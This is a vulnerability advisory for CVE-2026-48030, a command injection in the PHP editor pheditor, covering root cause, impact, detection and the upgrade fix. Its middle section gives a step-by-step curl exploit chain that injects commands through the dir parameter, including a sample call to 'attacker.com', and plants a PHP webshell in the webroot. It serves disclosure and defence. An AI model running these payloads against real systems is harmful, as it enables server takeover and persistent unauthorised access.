CVE-2026-48030: 
PHP vulnerability analysis and mitigation

CVE-2026-48030 is a critical OS Command Injection vulnerability in the terminal action handler of pheditor (a PHP-based file editor). It allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the dir POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist. Affected versions are pheditor/pheditor >= 2.0.1 and <= 2.0.3 (Composer package); version 2.0.4 contains the fix. The vulnerability was first published on May 20, 2026, and added to the GitHub Advisory Database on June 9, 2026. It carries a CVSS v3.1 base score of 9.9 (Critical) (GitHub Advisory, Pheditor Advisory).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). In pheditor.php (lines 554–586), the terminal handler accepts two POST parameters: command and dir. While $command is checked for shell metacharacters (&, ;, ||), the $dir parameter is concatenated directly into a shell_exec() call without any sanitization: shell_exec((empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd'). An attacker can send a payload such as dir=/tmp; curl attacker.com #, where the semicolon in $dir is never validated, causing the injected command to execute freely. The fix, applied in commit 62b43df, wraps $dir with escapeshellarg() before passing it to shell_exec() (GitHub Advisory, Fix Commit).

Successful exploitation grants an authenticated attacker full Remote Code Execution (RCE) with the privileges of the web server process (e.g., www-data). The attacker can execute arbitrary OS commands, bypass the TERMINAL_COMMANDS whitelist entirely, deploy persistent PHP webshells to the webroot, and read, write, or delete any file accessible to the web server. The changed scope (S:C) means the impact can extend beyond pheditor itself, potentially compromising other applications hosted on the same server (Pheditor Advisory).

1. Authenticate: Send a POST request with valid credentials to obtain a session cookie.

curl -c cookies.txt -X POST http://TARGET/pheditor.php \
  -d "pheditor_password=admin" -L > /dev/null

2. Retrieve CSRF token: Extract the CSRF token from the authenticated session.

TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

3. Confirm whitelist blocks direct command injection: Verify that injecting via the command field is blocked.

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=curl https://ifconfig.me" \
  --data-urlencode "dir=/tmp"
# → {"error":true,"message":"Command not allowed"}

4. Bypass whitelist via dir parameter injection: Inject shell metacharacters into the dir field, which is not sanitized.

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"
# → {"error":false,"message":"OK","dir":""}

5. Deploy a persistent PHP webshell: Write a webshell to the webroot for persistent access.

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php #"

6. Execute commands via webshell: Access the deployed webshell to run arbitrary commands as the web server user.

curl "http://TARGET/shell.php?c=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)

(Pheditor Advisory)

• Network: Unexpected outbound HTTP/HTTPS connections from the web server process to external IPs or domains (e.g., curl attacker.com); unusual DNS lookups originating from the web server host.
• Logs: Web server access logs showing POST requests to pheditor.php with action=terminal and dir parameter values containing semicolons (;), pipes (|), or other shell metacharacters; repeated authentication attempts followed by terminal action requests.
• File System: Newly created PHP files in the webroot (e.g., shell.php) not associated with normal application deployment; unexpected modification timestamps on files in /var/www/html/ or equivalent directories.
• Process: Unusual child processes spawned by the web server process (e.g., www-data spawning curl, wget, bash, python, or nc); unexpected cron jobs or scheduled tasks created under the web server user account. (Pheditor Advisory)

Upgrade pheditor to version 2.0.4 or later, which applies escapeshellarg() to the $dir parameter before passing it to shell_exec(), preventing shell metacharacter injection (Fix Commit). As a temporary workaround if upgrading is not immediately possible, disable the terminal feature in pheditor's configuration to remove the vulnerable attack surface. Additionally, restrict access to pheditor.php to trusted IP addresses via web server configuration (e.g., .htaccess or nginx allow/deny directives) to reduce exposure (GitHub Advisory).